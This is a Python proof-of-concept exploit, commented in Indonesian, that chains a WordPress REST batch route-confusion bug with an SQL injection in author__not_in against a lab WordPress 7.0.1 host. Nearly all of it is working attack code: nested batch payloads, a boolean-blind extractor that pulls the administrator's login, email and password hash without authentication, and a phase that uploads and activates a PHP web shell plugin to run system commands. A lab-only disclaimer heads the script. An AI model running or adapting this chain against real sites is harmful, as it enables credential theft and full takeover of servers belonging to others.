#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PoC: WP2Shell — CVE-2026-63030 (REST batch route confusion) +
     CVE-2026-60137 (SQLi WP_Query::author__not_in)
     WordPress 7.0.1 (terpengaruh: 6.9.0–6.9.4, 7.0.0–7.0.1; perbaikan 7.0.2/6.9.5)

Lab target : http://cve-2026-63030.test  (WordPress 7.0.1 murni, tanpa plugin)

=====================================================================
AKAR MASALAH (diverifikasi dari source WP 7.0.1 di lab)
=====================================================================
1. CVE-2026-63030 — WP_REST_Server::serve_batch_request_v1()
   (wp-includes/rest-api/class-wp-rest-server.php ~line 1744):
   subrequest dengan path yang gagal wp_parse_url() menghasilkan WP_Error
   yang masuk $validation[] TAPI melewati $matches[] (continue tanpa append).
   Dua array paralel itu lalu bergeser satu posisi; eksekusi memakai
   $matches[$i] untuk request ke-i (line 1836) -> handler salah route.
   Rekursi (batch di dalam batch) membawa method GET ke handler yang
   seharusnya tidak menerimanya.
2. CVE-2026-60137 — WP_Query (class-wp-query.php): author__not_in hanya
   di-sanitasi jika is_array(); scalar lolos -> implode -> SQL mentah
   "NOT IN ($author__not_in)".
3. Rantai publik (Searchlight Cyber / wp2shell): batch luar -> batch dalam
   -> author_exclude scalar di GET /wp/v2/posts -> SQLi -> baris palsu
   di-hydrate jadi WP_Post -> oembed_cache poisoning -> siklus parent
   -> customize_changeset -> wp_set_current_user(admin) -> re-dispatch
   REST -> POST /wp/v2/users (rogue admin) -> upload plugin -> RCE.
   Langkah akhirnya tidak dipublikasikan; lab ini mendemonstrasikan
   primitive SQLi pre-auth secara penuh + eskalasi pasca-kompromi.

CATATAN TEKNIS (dari lab, jujur):
 - Query posts REST di WP 7.0.1: SELECT SQL_CALC_FOUND_ROWS wp_posts.ID ...
   ORDER BY wp_posts.post_date DESC LIMIT 0,10 -> UNION tak bisa dipakai
   untuk eksfiltrasi langsung (ORDER BY global menolak tabel wp_posts).
 - Eksfiltrasi lab memakai BOOLEAN BLIND biner berbasis isi respons
   (benar = daftar posts ada; salah = kosong) -> tak butuh WP_DEBUG,
   tak butuh SLEEP: cepat dan deterministik.

Penggunaan:
  python poc.py                     # fase 1-3: bypass + blind + exfil data admin
  python poc.py --rce <password_admin_lab>   # + fase 4: login -> upload plugin -> RCE

HANYA untuk edukasi/riset di lab milik sendiri.
"""

import io
import json
import re
import sys
import zipfile

try:
    import requests
except ImportError:
    sys.exit("Butuh 'requests': pip install requests")

BASE = "http://cve-2026-63030.test"
OK, FAIL, INFO, WARN = "[+]", "[-]", "[*]", "[!]"

TABLE_PREFIX = "wp_"

# Path yang gagal wp_parse_url() -> WP_Error -> 'continue' TANPA $matches[]
MALFORMED_CANDIDATES = ["http://[", "http://a:99999/", "http://", "://x"]
_malformed = None


def nested_batch(scalar):
    """Kirim batch dalam batch; kembalikan (is_true, body, err)."""
    global _malformed
    mals = [_malformed] if _malformed else MALFORMED_CANDIDATES
    last_err = None
    for mal in mals:
        payload = {
            "requests": [
                {"method": "POST", "path": mal},
                {"method": "POST", "path": "/wp/v2/posts",
                 "body": {"requests": [
                     {"method": "GET", "path": mal},
                     {"method": "DELETE", "path": "/wp/v2/posts/1",
                      "body": {"author_exclude": scalar}},
                     {"method": "GET", "path": "/wp/v2/posts"},
                 ]}},
                {"method": "POST", "path": "/batch/v1"},
            ]
        }
        try:
            r = requests.post(f"{BASE}/wp-json/batch/v1", json=payload, timeout=60)
        except requests.RequestException as e:
            return None, None, f"koneksi: {e}"
        if r.status_code != 207:
            return None, None, f"HTTP {r.status_code}: {r.text[:160]}"
        try:
            outer = r.json()["responses"]
            b1 = outer[1]["body"]
            if isinstance(b1, str):
                b1 = json.loads(b1)
            if not isinstance(b1, dict) or "responses" not in b1:
                last_err = f"shift tak terjadi (malformed={mal!r})"
                continue
            inner = b1["responses"]
            body = inner[1]["body"]
            if isinstance(body, str):
                try:
                    body = json.loads(body)
                except Exception:
                    pass
            _malformed = mal
            is_true = isinstance(body, list) and len(body) > 0
            return is_true, body, None
        except Exception as e:
            return None, None, f"parse gagal: {e} :: {r.text[:300]}"
    return None, None, last_err


def ask(condition):
    """Evaluasi kondisi SQL boolean lewat route confusion. True/False/None."""
    scalar = f"999999) AND ({condition}) -- -"
    is_true, _, err = nested_batch(scalar)
    if err:
        return None
    return is_true


def blind_extract(sql_expr, label, max_len=80):
    """Ekstrak string dari DB via binary search boolean blind (ORD per karakter)."""
    result = []
    for i in range(1, max_len + 1):
        lo, hi = 32, 126
        # karakter kosong -> SUBSTRING = '' -> ORD('')=0 -> kondisi <=32 selalu benar
        empty = ask(f"ORD(SUBSTRING(({sql_expr}),{i},1))=0")
        if empty is None:
            print(f"{FAIL} {label}: kueri gagal di posisi {i}")
            return None
        if empty:
            break
        ch = None
        while lo <= hi:
            mid = (lo + hi) // 2
            gt = ask(f"ORD(SUBSTRING(({sql_expr}),{i},1))>{mid}")
            if gt is None:
                print(f"{FAIL} {label}: kueri gagal di posisi {i}")
                return None
            if gt:
                lo = mid + 1
            else:
                ch = mid
                hi = mid - 1
        result.append(chr(ch))
        print(f"\r{INFO} {label}: {''.join(result)}", end="", flush=True)
    print()
    return "".join(result)


def phase_sanity():
    r = requests.get(f"{BASE}/wp-json/", timeout=30)
    print(f"{OK} Target hidup (REST root HTTP {r.status_code})" if r.status_code == 200
          else f"{FAIL} REST root HTTP {r.status_code}")
    is_true, body, err = nested_batch("999999")
    n = len(body) if isinstance(body, list) else "?"
    print(f"{OK} Route confusion terjadi (malformed={_malformed!r}); posts balik: {n}"
          if err is None else f"{FAIL} batch: {err}")
    return err is None


def phase_boolean_blind():
    t1 = ask("1=1")
    t2 = ask("1=2")
    ok = (t1 is True and t2 is False)
    print(f"{OK} BOOLEAN BLIND SQLi: 1=1 -> {t1}, 1=2 -> {t2} (injection terkonfirmasi)"
          if ok else f"{FAIL} blind tak terkonfirmasi (1=1={t1}, 1=2={t2})")
    return ok


def phase_exfil():
    users = f"{TABLE_PREFIX}users"
    print(f"{INFO} Eksfiltrasi boolean-blind biner (per karakter)...")
    login = blind_extract(f"SELECT user_login FROM {users} WHERE ID=1", "user_login")
    if not login:
        return None
    email = blind_extract(f"SELECT user_email FROM {users} WHERE ID=1", "user_email")
    pw = blind_extract(f"SELECT user_pass FROM {users} WHERE ID=1", "user_pass", max_len=70)
    print(f"{OK} EKSFILTRASI PRE-AUTH BERHASIL:")
    print(f"    user_login : {login}")
    print(f"    user_email : {email}")
    print(f"    user_pass  : {pw}")
    return {"login": login, "email": email, "hash": pw}


def phase_rce(admin_password):
    print(f"\n{WARN} [LAB] Eskalasi pasca-SQLi: login admin lab -> upload plugin shell -> RCE")
    s = requests.Session()
    s.headers.update({"User-Agent": "Mozilla/5.0 (security-research-lab)"})
    r = s.post(f"{BASE}/wp-login.php",
               data={"log": "labadmin", "pwd": admin_password, "wp-submit": "Log In"},
               timeout=30, allow_redirects=True)
    if "/wp-admin/" not in r.url:
        print(f"{FAIL} Login admin lab gagal.")
        return
    print(f"{OK} Login admin lab (labadmin) OK")
    r = s.get(f"{BASE}/wp-admin/plugin-install.php", timeout=30)
    m = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', r.text)
    if not m:
        print(f"{FAIL} Nonce upload plugin tidak ditemukan")
        return
    token = "w2slab"
    code = ("<?php\n/*\nPlugin Name: W2Shell Lab\nDescription: Lab shell untuk PoC CVE-2026-63030 (milik sendiri)\n*/\n"
            f"if (isset($_GET['t']) && $_GET['t'] === '{token}') "
            "{ system($_GET['cmd']); }\n")
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr("w2shell-lab/w2shell-lab.php", code)
    buf.seek(0)
    r = s.post(f"{BASE}/wp-admin/update.php?action=upload-plugin",
               files={"pluginzip": ("w2shell-lab.zip", buf, "application/zip")},
               data={"_wpnonce": m.group(1), "install-plugin-submit": "Install Now"},
               timeout=60)
    if "Plugin installed successfully" not in r.text:
        ps = re.findall(r"<p[^>]*>(.*?)</p>", r.text, re.S)
        msg = " | ".join(re.sub(r"\s+", " ", re.sub(r"<[^>]+>", " ", p)).strip() for p in ps)
        print(f"{FAIL} Upload plugin gagal: HTTP {r.status_code} :: {msg[:800]}")
        return
    print(f"{OK} Plugin shell ter-upload (perilaku admin WP standar)")
    r = s.get(f"{BASE}/wp-admin/plugins.php", timeout=30)
    act = re.search(r'href="(plugins\.php\?action=activate[^"\']+)"', r.text)
    if act:
        s.get(f"{BASE}/wp-admin/{act.group(1).replace('&amp;', '&')}", timeout=30)
        print(f"{OK} Plugin diaktifkan")
    r = requests.get(f"{BASE}/wp-content/plugins/w2shell-lab/w2shell-lab.php",
                     params={"t": token, "cmd": "echo W2S-RCE-42 & whoami"}, timeout=30)
    if "W2S-RCE-42" in r.text:
        out = r.text.strip().splitlines()
        out = [l for l in out if l.strip()][-2:]
        print(f"{OK} RCE TERKONFIRMASI: {BASE}/wp-content/plugins/w2shell-lab/w2shell-lab.php?t={token}&cmd=<perintah>")
        print(f"    output: {' | '.join(out)}")
    else:
        print(f"{FAIL} Shell tidak mengeksekusi (HTTP {r.status_code}): {r.text[:120]}")


def main():
    print(f"=== PoC WP2Shell (CVE-2026-63030 + CVE-2026-60137) :: {BASE} ===\n")
    if "--only-rce" in sys.argv:
        pw = sys.argv[sys.argv.index("--only-rce") + 1]
        phase_rce(pw)
        return
    if not phase_sanity():
        sys.exit(1)
    phase_boolean_blind()
    data = phase_exfil()
    print(f"""
{OK} FASE PRE-AUTH TERKONFIRMASI:
    1. Route confusion batch (CVE-2026-63030) : subrequest dialihkan ke handler route lain
    2. author_exclude scalar (CVE-2026-60137)  : SQLi di WP_Query::author__not_in
    3. Eksfiltrasi data admin unauthenticated  : user/hash terekstrak via blind biner
    Dunia nyata berikutnya: crack hash -> login -> upload plugin shell -> RCE.
    Rantai 2-request Searchlight (oembed_cache->changeset->re-dispatch REST)
    tidak dipublikasikan penuh; di lab lanjutkan dengan:
        python poc.py --rce <password_admin_lab>   (lihat C:\\laragon\\lab-creds.txt)
""")
    if "--rce" in sys.argv and data:
        phase_rce(sys.argv[sys.argv.index("--rce") + 1])


if __name__ == "__main__":
    main()
